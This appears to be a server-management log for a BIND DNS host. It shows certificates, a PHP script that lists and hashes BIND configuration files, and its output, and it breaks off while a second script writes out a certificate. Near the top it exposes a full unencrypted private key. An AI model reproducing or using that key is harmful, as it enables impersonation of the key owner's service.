FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFI/E
S40AvdEt95RDVwGSf/L0cFy6MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzcwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+Mxss
mQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm3L+NxUAAAQDAEcwRQIgCsqlaGrzvjQJ
bbq4XwTYBgfi3OBQde5/mDCJ8fg0BYECIQC/OGOy8k1VhR3DJ5Ewi4s7sgJF+O4v
6JUPMY2pjOh09QB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAAB
m3L+N8sACAAABQAFotPhBAMARzBFAiBNpxLuUs35St6dfAvsdJ299yoMPQ/D0KIj
hnhZUvR1MQIhALP3KM6Rh9VfOl8AniIakXug9DXexpsGvOWGubhDTYPtMA0GCSqG
SIb3DQEBCwUAA4IBAQCcqz+ap4lFaNB1+Re71yY+8dGPQYzv6BMsikoLqTiqqfuK
ZGQWXRSh9lkfQTcREXSdGHIOODvq17rFCi8DOPbvTesqVdzt3I3mEJLkUMroIc07
lN/SGXGZ6cUzWX5PyjZ3fQ0EbXU3Z1BSiAqPrpabKOzITQprCqS9S1OmnX6h5LRo
YDHiDmetNLupYfUVb6wr2I2sMX+z+ukTmXDWbr7bomM75SOrbPIfC7X8vZseLwmQ
NkOMqbhmaRs5+d/l0s361v/eZxbTTK7HAbQz2alzf3CeIQPQ50a4dM0/Sf0+Q3Rz
Fq3iUaLhqd5U8911FAOOWjMPri0qeojHZB2Z6f2u
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCjYFQTXZQg43x/
4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQlnSNCd
NQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbUuGZZ
ZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyvf8Ox
X2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBLZKxL
hLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYLO/76
YL5I3GoNAgMBAAECggEAAUcRET+zl1hAEn31RKVy6MNkFmle+EB9ECdhg1xE27Ot
6HB50R2HvlLbNPu9I4oi5y8IaRlvM+QRYZFXIUY4gEFFDh67dymxTJzfwwVuFeAc
Wiu/cbrrKrajAQ5QwwU6ul4h5AImAO7aOgu/V6VUSxMGtcRKlwGlRuIRY+neg+8E
dGNLNaiczIaP3Vv33gCPwzZJKzyrH/LAbx6OjgL3KMda8IJwOuy128aD/lBOZT8r
jvSi4p8pl1U+c4qWEoOT1ntJa9Mh5xGQYjMO1Q1g1YyIDMD9/DV3UqDez2qGmoSL
RZkTyPHIwo7Ov73+cCvMzKga2NVM8vfvSPL9/jzGMQKBgQDRsVUQ756G+LttmGE6
8bGpcp47mi6Kcboiimk0hag4kpWPNRbq5ta8bk4z4P6eRjt7Deq2O2jGiAyh8pmS
dQtIbnpP//xA0zp0EL0Pv1iGliL3ti8V7mrCgFmaGHO9LiydjGLDl4J0+R7AA/j/
np0DHaJ3+f/9QOAj32MEj7fZeQKBgQDHdJDJUnkcEKa393zKjJLN7KKXBDJmMdhr
hN/cJZtdEPHEYkRCRH3xsa5zZ6zbXcwhHgjuZccNUhaEc+WkpmhxUPy8/UV8/wzF
tbBssrBoBsGHuIU/UNNfp7hns8YChUVv43ZvNtcspuNU3fdaksefnZTt2WRxScre
6ObG2HqENQKBgQCN3T1B0fscMVcMVFUjfbTGgMbQaAUooLxe9ekrIWmnrHQGiNJS
ZY3NuYqqyoM4LSe8nrO2SgcemZiCUBDZ5tmVTTjuuq68ZKtdLp3Z84g+tYA+ukCs
w7nykMcN25Eh4gVJKVsAHJaj8I5/NbDVr0dmfjwWk0o+2g9J9a2Vvm2RcQKBgQC0
sJH2AEP9O8x9PrSLnjvkV6qX2tJ5qFBiXzaZ7mvILPCJM2iZDAl4qrnajKKY/GlP
2zDGH+fq1mHVzlTNC3/0oCTGZT/NVBVTCxzv7BVJuE0c0fnMeUF0F7JEKCWK5QcZ
rNv/NpRKPEoX+Rn7sJstq4lezCFlTC+AL0fZ/gVHvQKBgB8lFbPJOiglYop0sE3y
xIKqiIDDheDx/2TWJWMtPCUYd/HV5s2L6IqyqEAD0kUQQPZgkm/U1xb3HTaaYVZu
FeHAYX3ahsyRGM4Vgs4l+s4/m5jw0/7JISCTh1elazvmUkAb9h5fp7atSzOoEfPJ
ZKlJA2mLjPYFFKB0vR6b/OMj
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----





2026-03-04 19:14:23: Establishing a connection
2026-03-04 19:14:24: 

PUT: /tmp/pkp344273

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-04 19:14:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp344273; rm /tmp/pkp344273'

2026-03-04 19:14:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-04 19:14:29: Establishing a connection
2026-03-04 19:14:30: 

PUT: /tmp/pkp300429

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
5f:c6:ed:f0:30:68:d2:60:40:4f:6d:f3:1a:ee:98:4e

-----BEGIN CERTIFICATE-----
MIIE6DCCA9CgAwIBAgISBSbtbNND6sLBWBxRVjuDf0uOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
